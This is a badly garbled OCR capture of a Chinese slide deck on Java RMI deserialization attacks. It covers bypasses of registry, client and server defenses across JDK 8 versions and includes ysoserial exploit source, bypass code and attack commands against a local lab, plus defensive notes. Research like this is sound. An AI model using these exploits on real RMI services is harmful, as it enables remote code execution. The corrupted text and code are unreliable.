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1. Java RMIJ:E4 248
(efta~ dpl. —1H+F)

¢ 1. £ft4?

RMI: Remote Method Invocation How RMI
Client Host Works Server Host
> YA ou ]
wioK: BIVMiE{53 5, client obji5 2 H{Server (remote K 7 JWM 2
1 2. Get server f A
objects) EHJTIE . objectreference | {ff Femote N
a from registry. Registry ’J

1. Bind server
object refer-
ence in remofe
object registry.

o 2\ éﬂﬁi “'-

° Server: fRHt7r, ZEmIEXR T Registry |

3. Invoke

Remote

methods in the v Object )
: : : > s o 551 te object
® Registry: it bind/rebind /5 {%25Server4f e X4 ; 2 . ?;;}ife;’j‘jo?; ' \ ‘..-'
’fﬁ:lOOkUpﬁ/A Q/\Cllentj:hij 7573},{[‘% to the client - Server

° Client: AT, 1) JcfiRegistry i 5+k 2] e X 5 1Y
Hihk, 2) WEAERM
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Client Host

* 20022

1. Java RMIY:# A3

At

s e

How RMI
Works

2. Get server
object reference
from registry.

3. fnvoke
methods in the
remote object as
if they were local
fo the client.

o Hello #2[]: ServerfilClienti®{EZ+2 ]
® Hellolmpl: Server I3[ 1H) B {&SZH]
o RMIClient: % g

o RMIServer: & FEM PO + kRS in (bind X% )

v [l com.example

v [l basicstudy

Bl beans

Server Host

-—— Bl exploit
PRGN VN _
’ BN jdwp
[
¢ f Remote Bl memshell
> Obj'eot
. \ Registry N proxy

v Bl rmi
Hello
Hellolmpl
" RMIClient

¥ RMIRegistryExploit8u121UnicastRef
¥ RMIRegistryExploitBy8u141Bind2LookupByp:

¥ RMIRegistryExploitBy8u231

¥ RMIServer

v Ak

g 1-BasicStudy
v M src
v [l main
v java
v Bl com.example
v BH basicstudy
> [BH beans
> [BH exploit
> Bajdwp
> Bl memshell
Em proxy
B® rmi
Hello
Hellolmp
¥ RMIClient
¥ RMIRegistryExploit8u121UnicastRef
¥ RMIRegistryExploitBy8u141Bind 2LookupByp:
¥ RMIRegistryExploitBy8u231
¥ RMIServer
! TestClassLoader

s HelloImpl

d HelloImpl() throws

@Overridd
)ublic String sayHello() throws
t {

Is UnicastRemoteObject implements

— ]

> Hello extends Remote {

String sayHello() throws RemoteException

String testAttackRMIServer(Object o) throws

RemoteException

Object testAttackRMIClient(String msg) throws Exception

String say(String name) throws RemoteException

Hellod{

RemoteException {

RemoteException {

eturl + InetAddress.getlLocalHost().getHostName()

tch (UnknownHostException e) {

throw new RuntimeException(e);

RMIClient

objc[58279]: Class JavalLaunchHelper is implemente

response: hello world from MAC.local

Process finished with exit code O

/bin/java

¢(/Contents/Home

d in both /Library/Java/JavaVirtualMachines/jdk1.8.0_40.jdk/Co
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&+ RMIF I ] -
Client/Server/Registry

Client (/D))

Server (/DL fEEHK)

Registry (2 W, BEKK)

Evil RMI Registry ysoserial JRMPListener 1099 URLDNS
/ (109991 1)
DGC Call
RMI Registry (ZRIA [#)F3] @ £4: T BiAEIRMIRegistry 1099 + {EhRA<JDK FLJEP290FR ] (jdk<8u121)
109917 1)
[FIFE4 ] @%M4: mILAIAIERMIRegistry 1099 + {EIRAJDKFJEP290FRH] (jdk<8u121) WiEAE: ysoserial RMIRegistryExploit ip 1099 URLDNS dnslog
4 [RIE: istry.bind(name, remote); , bind—NEEMremotedd sk, fH&RMI Registry (Registrylmpl_Skels

WiHAiA: ysoserial ysoserial.exploit. JRMPClient ip 1099 URLDNS dnslog
[R3: makeDGCCall i DGClImpl_Skel#dispatch (dirty) , ff&RFFIt

HRFEFIM) , E3Z3F bind unbind rebind lookup list%53%, SR RORFEFIL

/ [FF5] @ &4 : REERHRMIRegistryf)1099H 8T, AR EFIHIIRFTIL

g

RMI Client

WiERH5E: ysoserial JRMPListener 1099 URLDNS dnslog

(FUFE1] %M #OFE Object3E (FLUERIEREARIRL AR )

WHAE: clientlliEEENR, MARSIHRFETIT — > RMI Server
2E test02AttackRMIServer

A

[FIFE2] @%M4: EOREEEMODbjectxd R
WiEHE: serverREEENR, MAZFIHNRFETIL
2% test03AttackRMIClient



2. RIMIfKZ ;1 -
Client/Server/Registry

tinvocationHandler.java

L O N R O O

UnicastRef.class (&) RemoteObiject.java LiveRef.class DGCClient.class

Hierarc

v

Class

ObjectinputStream.java

Decompiled .class file, bytecode version: 52.0 (Java 8)

N

o Client{ ;18 : Serverix vl 44k HIZLP545 Client
), ClientfF 27 @54k B s e

if (var® == Integer. ) o
return varl.readInt()
S PR 1= VA : } else if (var® == Boolean. F) {
. /|\1ﬁU¥‘ <§E‘I§/j<j:i’/\ I::'/fE//I\IJ_LIJ> 2 return varl.readBoolean()
} else if (var® == Byte. ) {
turn varl.readByte()

I0Exception

S22 2052900

>

>0

testAttackRMIClient

¥} RMIClient.java ¥ RMIRegistryExploit8u121UnicastRef.java ¥ RMIServer.java if (var@ == Character.TYPE) {

Helloimpl.java

(,5 Application.java

urn varl.readChar();

PE PRI PN EE DYDY NN

@0verride
public Object testAttackRMIClient(String msg) t
Systen.

ows Exception {

-.printin( + msg);

A1

if (var®
uyrn varl
£ (var®

Jyrn varl.

if (var®

== Short.

.readShort();

== Long.

readLong() ;

== Float.

) A

) A

£) o

URLDNS() . getObject(

'eturn new
rn urn varl.readFloat();

f (var® == Double. ) {
oturn varl.readDouble()

Lse {

new Error(

§ . 'iEﬂ/ ﬁ3$§23

varl.readObject()

- resolveClass:198, MarshalInputStream (sun.rmi.server)
readNonProxyDesc:1613, ObjectInputStream (java.io)
readClassDesc:1518, ObjectInputStream (java.io)
readOrdinaryObject:1774, ObjectInputStream (java.io)
readObject@:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)

unmarshalValue:326, UnicastRef (sun.rmi.server) // trigger here

1NnvokKe: > UnicastRe sun.rmi.server

invokeRemoteMethod:194, RemoteObjectInvocationHandler (java.rmi.server)
invoke:148, RemoteObjectInvocationHandler (java.rmi.server)
testAttackRMIClient:-1, $Proxy@ (com.sun.proxy)
test@3AttackRMIClient:85, RMIClient (com.example.basicstudy.rmi)

. main:36, RMIClient (com.example.basicstudy.rmi)
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2+ RMIFY I T -
Client/Server/Registry

° Serverii 1l (DU, BERK, &%
BaRMle T H.)

* 1) RETRRITEIE

° 2) IIAZHAFEODbject

° 3) HIEZHUFEARFERIEIERE (A2
—3)

o https:/ /github.com/NickstaDB/
baRMle

[0 README &3 MIT license V4

1. Attacking Insecure Methods

The first and most straightforward method of attacking insecure RMI services is to simply call insecure remote
methods. Often dangerous functionality is exposed over RMI which can be triggered by simply retrieving the
remote object reference and calling the dangerous method. The following code is an example of this:

//Get a reference to the remote RMI registry service =
Registry reg = LocateRegistry.getRegistry(targetHost, targetPort);

//Get a reference to the target RMI object
Foo bar = (Foo)reg. lookup(objectName);

I//Call the remote executeCommand() method
bar.executeCommand(cmd) ;

2. Deserialization via Object-type Paraeters

Some RMI services do not expose dangerous functionality, or they implement security controls such as
authentication and session management. If the RMI service exposes a method that accepts an arbitrary Object as
a parameter then the method can be used as an entry point for deserialization attacks. Some examples of such
methods can be seen below:

» RmiServerExample git:(master) x i -Pn -p 1099 --script=rmi-dumpregistry.nse 127.0.0.1
Starting Nmap 7.92 ( https://nmap.org ) at 2024-05-29 17:21 CST

Nmap scan report for localhost (127.0.0.1)

Host is up (0.00034s latency).

public void set(
public void addA

3. Deserializatio
PORT STATE SERVICE

DR ORI L099/tcp open rmiregistry
method with non-prilAUSe g g%
using TCP proxies tuNRASTIRY

invocaﬂons.Sonua:l R R=TTT ok ok o\ Vo B o VR T o (Il C O . examp Le . basicstudy. rmi.Hel Lop

I extends

I java.lang.reflect.Proxy
public void sethg fields

public Long addI|

: _ Ljava/lang/reflect/InvocationHandler; h
public void sum(

I java.rmi.server.RemoteObjectInvocationHandler
I @11.== =88 56027

I extends

I java.rmi.server.RemoteObject

Nmap done: 1 IP address (1 host up) scanned in 0.33 seconds



CUE U N U O O N R A R U A R O O O O AR R R O R SR R O TR N O N N N R O R O R U N O O O N N O R N L O O O O R O R O B R R R R R R R B R

2%

223222

-
~
L3
.
~
.
~
-
“
.
~
-
-
-
o
-
L)
~
-
-
~
-
L
-~

2+ RMIFY I T -
Client/Server/Registry

MarshallnputStream.class ] RMIServer.java Hellolmpl.java RemoteObjectinvocationHandler.java UnicastRef.class

@0verride
PN S </l\ I I Y e il\A 2N\ :le @ public String testAttackRMIServer(Object o) throws RemoteException {
Ry s/ 7 N\ System.out.println( + o0.toString());
erver /JLJ) JE’J — ﬁLj_\‘a > 5 :[: B0 . » : |
/?{ ° RMIClient.java MarshallnputStream.class RMIServer.java Hellolmpl.java RemoteObjectinvocationHandler.java
BaRMIe 1 ) testO1HelloWorld 2resuts At b LI K T Hy ST Y

° 1) s 1l TikhE > ttor Excostion |

Hello stub = (Hello)Naming.lookup(
System.ouvt.println(stub.testAttackRMIServer (new URLDNS().getObject(

O RmiServerExample

ClientAccous
-» RmiServerExample master) x

src > main >>java > mO > rmitaste ) ° RmiServerExample master) x -cp target/rmitaste.examples-1.0-SNAPSHOT-all.jar m@.rmitaste.ex
ver 1098
Nl port: 1098
"| Demo server for RMITaste tool
Listening on: 1098

Iritte ) Cal,

public interface Client
public void withdra
public-void deposit
public void setPin(
public float getBa

X

-» RmiTaste master) x -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all. jar" m@.rmitaste.R
7.0.0.1 -p 1098|-m "accl:m@.rmitaste.example.server.(ClientAccount:setPin" |-g "URLDNS" -c "http://testRmi

..0ols/RmiTaste (-zsh)

run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)

Connected to RMI registry on 127.0.0.1:1098
serviceCall:196, Transport (sun.rm|.transport) Trying to invoke m@.rmitaste.example.server.ClientAccount.setPin method on accl

s o oaa e s g ey o oy Remote method has been invoked with payload: URLDNS http://testRmiTaste.string.s.dlsr.icu




RMIReqistry

&+ RMIHI 1 -

Client/Server/Registry

] RMIClient.java 1 Registrylmpl_Skel.class 1 DGCImpl_Skel.class MarshallnputStream.class ] RMIServer.java

® Registry (£, &3

XN

Decompiled .class file, bytecode version: 45.3 (Java 1.1)

DGCImpl_Skel() {

P

Decompiled .class file, bytecode version: 45.3 (Java 1.1)
RegistryImpl_Skel() {

o YL |
id dispatch(Remote varl, RemoteCall var2, int : , Exception {
: 5 if (var4d != 4905912898345647071L) {
2 Reglstrylmpl_Skel#dlSpatCh row new SkeletonMismatchException(
se {
P DGCImpl_Skel#dlspatCh RegistryImpl varé = (RegistryImpl) varl

Registrylmpl_Skel#dispatch bind/rebind/lookupiit

F2RfJreadObject

DGCImpl_Skelftdispatch dirty/cleaniitfizHad

readObject

String var?7
Remote var8

bindiZEERemoted 5, &

jJdk < 8ul2l
Sl ysoserial.exploit.RMIRegistryExploit
idk >=8U12] UnicastReffI| 5%, WiHRMIRegistry& 1L EiL

HZTE DGC client

clientLookupObiject (F|HlookupiitfE FtACLER
jdk >= 8ul4l Hl, BB Ki1X1Z5E, Ai1XObject) + UnicastRef
B

jdk >= 8u23l clientLookupObject+ UnicastRemoteObjectik

makeDGCCall, RIXEBEBENR, ZF:
jdk<8ul21 ysoserial.exploit. JRMPClient ([gfi: EEEX
Zill))

' RMIClient.java 1 Registrylmpl_Skel.class MarshallnputStream.class ] RMIServer.java o|lolmpl.java RemoteObjectinvoc v

Hierarchy: Class Rem

x W A 12 Scope

v Object
Vv (2) = RemoteObije
* Remot

Hierarc

Ot

v
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9. RMIfYF:1H - Registry

o 1) Jdk <8121, jdkEEA MRS . TR EARL IR Y

® RegistryImpl_Skel#dispatch: Server bind X} % i
RMIRegistry F AL FR 7 E

v

A
A

» DGCImpl_Skel#dispatch AFDGCiEK (6] H) % IJ }EE

° A

'RMICIient.java t Registrylmpl_Skel.class MarshallnputStream.class >RMIServer.java Hellolmpl.java RemoteObjectinvoc v ¢ Hierarchy: Class Rem|

Decompiled .class file, bytecode version: 45.3 (Java 1.1) A ¥ A 12 scopd
public RegistryImpl_Skel() { v Object
} Vv (&) = RemoteObjg
a Remot
throws Exception {

SkeletonMismatchException(

e {
RegistryImpl varé = (RegistryImpl) varl;
String var7;
Remote varS8;
ObjectInput varloO;
ObjectInput varll;
switch (var3) {

resolveClass:198, MarshallnputStream (sun.rmi.server)

varll = var2.getInputStream(); readNonProxyDesc:1613, ObjectinputStream (java.io)

R & () R R ) readClassDesc:1518, ObjectinputStream (java.io)

var8 = (Remote) varll.readObject(); ) : '
. T R ) readProxyDesc:1576, ObjectinputStream (java.io)

2w UnmarshalException( readClassDesc:1515, ObjectinputStream (java.io)

HEEELEETIEI SRS Cl PE) readOrdinaryObject:1774, ObjectinputStream (java.io)

ew UnmarshalException(
} finally { readObject0:1351, ObjectinputStream (java.io)

var2.releaseInputStream();

readObject:371, ObjectinputStream (java.io)

dispatch:-1. Reqist
varé.bind(var7, var8); oldDispatch:410, UnicastServerRef (sun.rmi.server)

P L R iy S o Y 2aJ © B B 1SR N o ) un PR < . S,

) b

// MarshallnputStream JEObjectinputStream (F WHraspEAZIEIE)

rial ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollectionsé

rial ysoserial.exploit.JRMPClient 127.0.0.1 1099 CommonsCollectionsé

tatic void main(final String[] args) throws Exception {
final String host = args(@];
final int port = Integer.parselnt(args[1]);
final String command = args(3];
Registry registry = LocateRegistry.getRegistry(host, port);
final String className = CommonsCollectionsl.class.getPackage().getName() + "." + args[2];
nal Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);

try
registry. list();
catch(ConnectIOException ex
registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());

exploit(registry, payloadClass, command);

tatic void exploit(final Registry registry,
f L Class<? extends ObjectPayload> payloadClass,
String command) throws Exception {

You, 27 minutes ago | 3 authors (Chris Frohoff and others)

new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {
ObjectPayload payloadObj = payloadClass.newInstance();
Object payload = payloadObj.getObject(command);
String name = "pwned" + System.nanoTime();

Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), iface:Remote.class);
try
reaistry.bind(name, remote):
catch (Throwable e
e.printStackTrace();
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9. RMIfYF:1H - Registry

] RMIClient.java t Registrylmpl_Skel.class t DGCImpl_Skel.class Ed rmi.sh ) Registrylmpl.class MarshallnputStream.class ] RMIServer.java
Decompiled .class file, bytecode version: 52.0 (Java 8)

check 22 o N 1 R s Tl Y

® 2) ]dk v 81.1].21 J jdk)%' <;[:ﬁn]EP290 Eﬁ%” ) ‘ ratic ObjectInputFilter.Status registryFilter(ObjectInputFilter.FilterInfo var0) {

° JEP290:E&ft 42 I

° fili s

R

,j%;

F( I= null) {
ObjectInputFilter.Status varl = .Input(var@)
(varl != Status. ) {

l |: H‘ ﬁl‘i‘ L\éﬁ r Eé : varl
)
7'< _L)L M s D v [ ¥ RMIClient.java t Registrylmpl_Skel.class MarshallnputStream.class 5 RMIServer.java RemoteObjectinvoc v

Decompiled .class file, bytecode version: 45.3 (Java 1.1)
ic RegistryImpl_Skel() {

if (var@.depth() > 20L) {
Status.
3 A
Class var2 = var0.serialCl -
if (var2 != null) { " (var4 1= L A
(1var?2.isArrav()) { throw new SkeletonMismatchException(

lic void dispatch(Remote varl, RemoteCall var2, int var3, Lo throws Exception {

° L8l Ji{k: UnicastReffif, Hifilik s e seig. i _

RegistryImpl varé = (RegistryImpl) varl

var0.arraylL String var?7

releaselnputStream() b cenote vars

° #

] B

5Clmpl_Skel.class

ObjectInput varl0d

ObjectInput varill
Evil RMI Registry ysoserial JRMPListener 1099 URLDNS dnslog ‘ (var3) A{

(109993% 1)

e 0:

2 DGC Call g {
///////> 3 BEERHR . . varll = var2.getInputStream()
tati main(String[] v . .
& 1 6 var7 = (String) varll.readObject()
JRWmew(#Mi var8 = (Remote) varll.readObject()
T 10998%0) T .
'\ m l [#F33.1.1(453JEP290) 1 @ %&4F: FTIXIKIEIRMIRegistry 1099 + TR RS + DGClmpl_Stub & E142 2 BR% catch (IOException var94) {
JRIZ: EITJEP290 Registrylmpl R/F36E % &ehfUnicastRef, 1LRMI RegistryfF1 /1 & 2DGCIER B WEi UnmarshalException( var94)
1 bind BRI & RMI Registry
(ClassNotFoundException var95) {
UnmarshalException( var9s)
{
RMI Server

var2.releaseInputStream()

El rmi.sh 5 Registrylmpl.class ] RMIRegistryExploitBy8u141Bind2LookupBypassCheckAccess.java ] RMIRegistryExploit8u121UnicastRef.java

A6 1
varé.bind(var7, var8)

resolveClass:198, MarshallnputStream (sun.rmi.server)
readNonProxyDesc:1613, ObjectinputStream (java.io)
readClassDesc:1518, ObjectinputStream (java.io)
readOrdinaryObject: 1774, ObjectinputStream (java.io)
static void main(String args[]) { readObject0:1351, ObjectinputStream (java.io)
{ readObject:371, ObjectinputStream (java.io) // end here
System.out.printin( executeCall:245, StreamRemoteCall (sun.rmi.transport)
invoke:379, UnicastRef (sun.rmi.server)

tub (sun.rmi.transport) 7T TE N = s, ARECAgCIAKR
DT B = e P B e makeDirtyCall:361, DGCClient$EndpointEntry (sun.rmi.transport)

TCPEndpoint te = w TCPEndpoint( 10999 . . . -
ref = new UnicastRef(new LiveRef(id, te 7 registerRefs:303, DGCClient$EndpointEntry (sun.rmi.transport)

Registry registry = LocateRegistry.getRegistry(

UnicastRef

registerRefs:139, DGCClient (sun.rmi.transport)

RemoteObjectInvocationHandler obj = RemoteObjectInvocationHandler(ref) reaisterRefs:94. ConnectionlnputStream (sun.rmi.transport)

releaselnputStream: 157, StreamRemoteCall (sun.rmi.transport) // var2.releaselnputStream();, 7Ebind ZBififi&
Aienatcrh .1 Ramictrn/dmnl Qleal fer1in rimi ramicotm /) 1] atart hara® Aienat~rhhhfah s &5

registry.rebind( obj)



2. RMIMI 1 - Regi

jdk1.8.0_181.jdk/.../Registrylmpl_Skel.class

fili % 5 lookupfreleaselnputStream + UnicastRef

Lad LU

El.class Ed rmi.sh ) Registrylmpl.class ] RMIRegistryExploitBy8u141Bind2LookupBypassCheckAccess.java ] RMIRegistryExploitBy8u231.java YR v

A3l A2 ¥v2

A Vv
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c Remote lookupObject(Registry registry, Object varl ows Exception {

° I B

RemoteRef (RemoteRef) Reflections.getFieldValue(registry

ref

ObjectOutput var83
var83.writeObject(var8l)

¥-1
)P ¢
cdr

® 3) Jdk =8ul4l, jdk/ZF XfbindgicheckAccess

® JEPcheckAccessZft4? #itrrebind /bind 452 i 5 Hi kil }Vm

o ZEut ik filklookupiireleaselnputStream, HH _
clientflookup J; 2 { |

resolveClass:189, MarshallnputStream (sun.rmi.server)

Stry

o,

jdk1.8.0_231.jdk/.../Registrylmpl_Skel.class DGCClient.class

Decompiled .class file, bytecode version: 52.0 (Java 8)

'w MarshalException(

= var7.getInputStream()
(String) var9.readObject()

(I0Exception | ClassNotFoundException | ClassCastException var74) {

.discardPendingRefs()
W UnmarshalException( var74)

{

.releaseInputStream()|

varé.lookup(var8)

var7.getResultStream(

(IOException var73) {
w MarshalException(

RegistryImpl.checkAccess(

readNonProxyDesc:1868, ObjectinputStream (java.io)
readClassDesc:1751, ObjectinputStream (java.io)
readOrdinaryObject:2042, ObjectIinputStream (java.io)
readObject0:1573, ObjectinputStream (java.io)

Operation[] operations
RemoteCall var2

)

5647071L) ;

ew Operation[]{new Operation(

C O O O B U O R R O R O O O N

ref.newCall((RemoteObject) registry, operations

{

readObject:431, C-)bjectlnputétream (java.io)
executeCall:252, StreamRemoteCall (sun.rmi.transport)

Ialrty:109, 555|mp|_§tub (sun.rmi.transport)

// readObiject here

(X I jaE8u231 ) I

r)

// make dgc call

o

ObjectOutput var3 = var2.getOutputStream()

var3.writeObject(varl)
tch (I0Exception varls) 4

throw new MarshalException(

S22 PP 2T DAY I AEEIPE YYD M

releaseln putgtream: 15 7, Streamiemotecal (sun.rmi.transport)

Impl Skel (sun.rmi.reqist

makeDirtyCall:382, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:324, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs: 160, DGCClient (sun.rmi.transport)
registerRefs: 102, ConnectionlnputStream (sun.rmi.transport)

/1 (fixin jdk8u231, KEEMBENEERT RiELE, %3
// also trigger here (IookupmreleaselnputStream) |

oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)

Y . Ve T - T P T, . ¥ I P I S 1 ¥
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° filiA s

* 00

2225322222

° #

JiR B

L B R R B O O

L
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e 3) Jdk=8u231 B&E: 1) &&E UnicastRefqE + 2)
DGCigR% P imHIJEP290

3 7715 UnicastRemoteObjects# (blackhat 2019)

lookupHjreadObject + UnicastRemoteObject

Object getUnicastRefObject2() ; NoSuchMe

ObjID id = new ObjID(new
TCPEndpoint te =
UnicastRef ref =

Random() .nextInt())
w TCPEndpoint(

/ UnicastRef(new LiveRef(id, te
RemoteObjectInvocationHandler obj = new RemoteObjectInvo
(RMIServerS
RMIServerSocketFactory.class.getClassLoader()

ow Class[]{RMIServerSocketFactory.c’
obj

RMIServerSocketFactory serverSocketFactory =

Remote

Constructor constructor = UnicastRemoteObject.class.getD
constructor.setAccessible(true)
UnicastRemoteObject unicastRemoteObject = (UnicastRemote
Field field = UnicastRemoteObject.class.getDeclaredField
field.setAccessible(true)

serverSocketFactory)

field.set(unicastRemoteObject

9. RMIfYF:1H - Registry

on.java 4' ObjectinputStream.java StreamRemoteCall.class t jdk1.8.0_40.jdk/.../Registrylmpl_Skel.class v o

Decompiled .class file, bytecode version: 45.3 (Java 1.1)
iy aL \LULCALE pLiun vai ‘7£) 1

w MarshalException(

3

‘ {
varl® = var2.getInputStream()
var7 = (String) varl@.readObject()
(IOException var89) {
UnmarshalException(
(ClassNotFoundException var90) {

w UnmarshalException(
{ leaseFilter

istrylmpl.class

resolve(

var2.releaselnputStream()

I

@
)

var8 = varé.lookup(var7)

{
ObjectOutput var9 = var2.getResultStream(
var9.writeObject(var8)

} cat (IOException var88) {

invokeRemoteMethod:227, RemoteObjectinvocationHandler (java
invoke:179, RemoteObjectinvocationHandler (java.rmi.server)
createServerSocket:-1, $Proxy2 (com.sun.proxy)
newServerSocket:666, TCPEndpoint (sun.rmi.transport.tcp)
listen:335, TCPTransport (sun.rmi.transport.tcp)
exportObject:254, TCPTransport (sun.rmi.transport.tcp)
exportObject:411, TCPEndpoint (sun.rmi.transport.tcp)
exportObject:147, LiveRef (sun.rmi.transport)
exportObject:237, UnicastServerRef (sun.rmi.server)
exportObject:383, UnicastRemoteObject (java.rmi.server)
exportObject:346, UnicastRemoteObiject (java.rmi.server)
reexport:268, UnicastRemoteObiject (java.rmi.server)

// trigger here

readObject:235, UnicastRemoteObject (java.rmi.server

invoke0:-1, NativeMethodAccessorimpl (sun.reflect)
invoke:62, NativeMethodAccessorlmpl (sun.reflect)
invoke:43, DelegatingMethodAccessorimpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectinputStream (java.io)
readOrdinaryObject:2069, ObjectinputStream (java.io)
readObject0:1573, ObjectinputStream (java.io)

readObject:431, ObjectinputStream (java.io)
dispatch:122, Registrylmpl_Skel (sun.rmi.registry)

oldDispatch:469, UnicastServerRef (sun.rmi.server)

t jdk1.8.0_231.jdk/.../Registrylmpl_Skel.class

Decompiled .class file, bytecode version: 52.0 (Java 8)

E (I0Exception var76) {
w MarshalException(

eseqeleq () usnen 3

var9 = var7.getInputStream()
var8 = (String) var9.readObject()

¥ RMIRegistryExploitBy8u141Bind2LookupBypassCheckAccess.java t jdk1.8.0_40.jdk/.../DGCImpl_Stub.class t jdk1.8.0_231.jdk/.../DGCImpl_Stub.class
Decompiled .class file, bytecode version: 52.0 (Java 8)

T VD ™ S
ic ObjectInputFilter.Status (UbjectInputFilter‘ .FilterInfo var0) {

F (var@.depth() > (lo

Class varl = var0.serialClass()

(varl.isArray()) {

if (var@.arrayLength() >= OL && var@.arraylLength() > (lo

varl = varl.getComponentType()

if (varl.isPrimitive()) {

varl != UID.cl &% varl != VMID.cl && varl != Lease.cl && (varl.getPackage() == nu

// trigger here Hi%#EreadObjectsfitl & 7l FAHE



2. RMIpI 1 - Registry

° 4) Jdk =8u241 2311 % i : lookuphy
readObject + UnicastRemoteObject

® 1. Registrylmpl_Skel Htlookup 5 il 3k B
stringZ8 4 12451

° 2. 1&&E UnicastRemoteObjects:

RemoteObjectInvocationHandler#invokeRe
moteMethod 7EH fref.invokeFij s liMethod

MR LTI R TER ) Class i R (HI X B
Gadget chainH ) RMIServerSocketFactory )

eI ¥ Remotez [T, (ik
UnicastRemoteObject#l| F 444 )




2. RMIMI 1 - Registr

RmiTaste

o \) :f: -cp mO.rmitaste.RmiTaste enum -t 127.0.

= idk8 Reqistrvimpl/D mpl 110 & F 5! ] 2 BB Reqistrvimpl#reaistin

[*IJFﬁ3.1.1(JEP290) ] [RIE: J@ITJIEP290 Re mpl_Skel RFIIBREFREIUnicastRef, 1ERMI RegistryfE

RNEF ﬁﬁ_DGClvaSRﬁl'lﬂEwl RMI Reglstry, RESHEEEIE

[Xjdk{EE2] jdk8u141: 8ul41 Registrylmpl#checkAccess

[FIE3.1.24853 ] A=) *Uﬁﬁlookupi‘EACL E% Reglstrylmpl Stub#lookup, i}-:‘ﬂ%ObjecHUnlcastRefi fid R 0 rmitaste NN . iio 1 _t 197

2) IR UnicastServerRefBENX A, faiEhash hashToMethod Map HY, Az AoldDispatch, 7t
releaselnputStreamfif z — /X F5It. (

ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollectionsé

[Xjdk{&E3] 8u231 1) UnicastRefsFR#H, MIFRStreamRemoteCall#discardPendingRefs JRMP &S bilE; 2)
DGClImpl_Stub#dispatch fclean/dirtyR1ENNJEP290 8 2 &£

ysoserial.exploit.JRMPClient 127.0.0.1 1099 CommonsCollectionsé

10999 CommonsCollectionsé

[X jdk{&E4 8u241] 1) Registrylmpl#dispatch®lookupfy readObjecti&& NreadString 2) 8E
RemoteObjectinvocationHandler#invokeRemoteMethod, &1 BRERE (EAZTSEIIRemotetz )

[F]FAE3.1.4 521d 8u241 ] LEBREM, AIFIABEX A EFH UnicastReffunmarshalValue 312 £#JreadObject
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ysoserial. ysomap: exp & [z F¥{kpayload

BaRMle: I i:RMIServer (4B —H|HEE) 22 HAK

RMITaste: 4z Hjariffgol, w] LLjE f]Server) 77 2%

RMIScout: Z fifERMIServerit] 5 1 F0 224

RMG(remote-method-guesser) : blackhat 2021 rmiF| A T. B
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> JRDAH /L

ysoserial.exploit. RMIRegistryExploit (T
Registrylmpl_Skel#dispatchHIfbind7Fg) )

ysoserial.exploit. JRMPClient (T

DGClmpl_Skel#dispathmgdirty 7if2) |
— ysoserial, ysomap =
ysoserial.exploit. JRMPListener (DGCARSSIRIX

HEP )

ysoserial.payloads.JRMPClient (UnicastRef#l] )
F5%)

BaRMle —

RMiTaste -

RMIScout -

RMG(remote-method-guesser) 20214 -~
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2024.05 @thinkycx

RR58%

Java RMITBXIEH

Java rpcifffg, clientiflfserver LRRFE A,
E T JIRMPHY

B1&: RMIClient, RMIServer, RMIRegistry

HBXER: JEP290

| EAREORY, RMEBREFIMCRENE .
R, 0 !

) Object testAttackRMIClient(String msg)
RMIClient

2. UnicastRef§#/UnicastRemoteObjectf%, {E #iE:
HNDGCEFPimiEKESERegistry

FKEIAT, -
String testAttackRMIServer(Object 0), KBEBSE/H
RMiIServer demo

public void setPin(String pin) , 3 ERmiServerExample
B

Registrylmpl_Skel#dispatch bind/rebind/lookupifi
& MreadObject

RMIRegistry

DGCImpl_Skelitdispatch dirty/cleaniiife a3
readObject

(RMI. Java# G

(HERE] , FEEWNMEOHE

clientx1fH

BRRFIICE, REFEHREARZ

—. EXFHERMIRegistryBt et k&

1. FBORBBEAR, REFEODbject/StringZFIEERM IR

&iE:

1) &G E2IAAUNicastReffunmarshalValuefit & S0 & F 5L

2) StringZ RIS T RGEERAKIEN, {B2E0ERMIServer 33 A&
A ARG &R

bindEERemotedi %, SE
ysoserial.exploit. RMIRegistryExploit

UnicastRef#| 5%, K iERMIRegistry#&1tkit
HZTRY, DGC client

jdk < 8ul21

jdk >=8ul12l

clientLookupObiject (Fl|Blookupifiiig FTLACLFR
jdk >= 8ul4l #, EE5RIZFE, KiXObject) + UnicastRef
%
jdk >= 8u23]l clientLookupObject+ UnicastRemoteObjectH

makeDGCCall, RIFEEXNR, £E:
jdk<8ul121 ysoserial.exploit. JRMPClient ([gJ@i: B2EEX
#ll)



4, pgEHEE (RMI. JavaZe4eifst)

o RMIWZz4 ml @A s Java e dMbpy a8, IFdlfbi &R A 7E (MarshallnputStream# resolveClass)
(rasp RKHR57 1% AhookiX /™ &)

° FixfyA<pi: 1) ACL: ARFEMAk N 2) H4H: JEP290R Ak A
° LZEIHIA: RSP % HArHY readObject
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° 3) Bi: &, £iE&E

° 4) #Htfr: exploit&itr. . &% — k=
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® 2. https://pwnull.github.io/2022/Exploring-JAVA-RMI's-offensive-
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